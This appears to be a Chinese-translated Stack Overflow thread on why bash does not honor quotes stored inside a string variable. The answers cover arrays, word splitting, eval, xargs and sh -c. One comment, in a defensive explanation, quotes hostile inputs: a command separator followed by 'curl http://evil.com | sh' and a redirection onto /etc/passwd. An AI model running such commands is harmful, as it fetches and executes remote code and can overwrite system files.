我正在尝试执行以下命令：
mkdir 'my dir'
CMD="ls 'my dir'"
RESULT=$($CMD)
这会导致：
ls: 'my: No such file or directory
ls: dir': No such file or directory
在第二个命令之前使用“set -x”会显示实际发出的命令是：
++ ls ''\''my' 'dir'\'''
这显然是从我实际尝试做的事情中抽象出来的；此代码本身没有任何用途。但我的问题是，为什么 bash 会像这样标记带引号的字符串，我怎样才能让它停止？
【问题讨论】：
标签： bash
（几乎）所有语言都区分代码和数据：
args="1, 2"
myfunc(args) != myfunc(1, 2)
在 bash 中也是如此。将单引号放在文字字符串中不会使 bash 解释它们。
存储程序名称和参数（也称为简单命令）的正确方法是使用数组：
cmd=(ls 'my dir')
result=$("${cmd[@]}")
除非您使用双引号，否则 Bash 会自动在空格上拆分单词，这就是您的示例有时会起作用的原因。这是令人惊讶且容易出错的，这也是为什么你应该总是双引号你的变量，除非你有充分的理由不这样做。
也可以使用eval 让 bash 将字符串解释为完全是 bash 代码。这经常被推荐，但几乎总是错误的。
【讨论】：
FIND_EXCLUDE_ARGS=$(echo "${EXCLUDE_LIST}" | sed -E 's/([^ \t]+)/-a ! -path \"\1\"/g'); find . ${FIND_EXCLUDE_ARGS}。现在我想起来了，我可以将or 移动到find -pathregex...哦等等，它不存在。也许find | grep -v 是解决方案。
要提供另一种方法——一种适用于 POSIX 系统的方法——xargs 可以为您执行此解析，只要您可以保证参数列表足够短，不会被拆分为多个单独的命令：
CMD="ls 'my dir'"
printf '%s\n' "$CMD" | xargs sh -c '"$@"' sh
请注意，要安全地执行此操作（针对故意生成超过最大 argv 长度以导致 xargs 将其拆分为多个命令的字符串的攻击者），您需要将 CMD 的第一个单词分解为成为已知/可信的东西，并且仅参数化以下参数。例如：
args="'my dir' 'other dir'"
printf '%s\n' "$args" | xargs sh -c 'ls "$@"' sh
...或者更简单，那时...
printf '%s\n' "$args" | xargs ls
【讨论】：
eval 的符合 POSIX 的解决方案。
man xargs 中读到它“从标准输入中读取由空格分隔的项目可以用双引号或单引号或反斜杠保护...”
xargs -0 或 xargs -d $'\n' 或类似的扩展来关闭它；但在这里，我们有一个实际有用的案例。
ls 部分而不是'my dir'，这可能很有用。 （类似地，>/etc/passwd 之类的重定向或; curl http://evil.com | sh 之类的命令分隔符将被视为ls 的一个或多个文字参数，而不是对 shell 的指令等；因此差异用作控制关于敌对输入可以做什么）。
args="'my dir' 'my other dir'"; printf '%s\n' "$args" | xargs sh -c 'ls "$@"' sh
解决方案 1：使用sh -c
mkdir 'my dir'
CMD="ls 'my dir'" # careful: your example was missing a '
RESULT=$(sh -c "$CMD")
解决方案 2：将 CMD 声明为数组
mkdir 'my dir'
CMD=(ls 'my dir') # array with 2 elements
RESULT=$("${CMD[@]}")
【讨论】：
eval 完全相同，只是它不允许您更改父进程中的变量，具有子进程执行的所有开销，并且在该子命令执行期间，将 shell 从 bash 切换到本地安装的 POSIX sh 解释器。
eval 是邪恶的”并不总是答案。是的，它可以使用$SHELL 而不是sh。
eval 总是邪恶的，它就不会存在。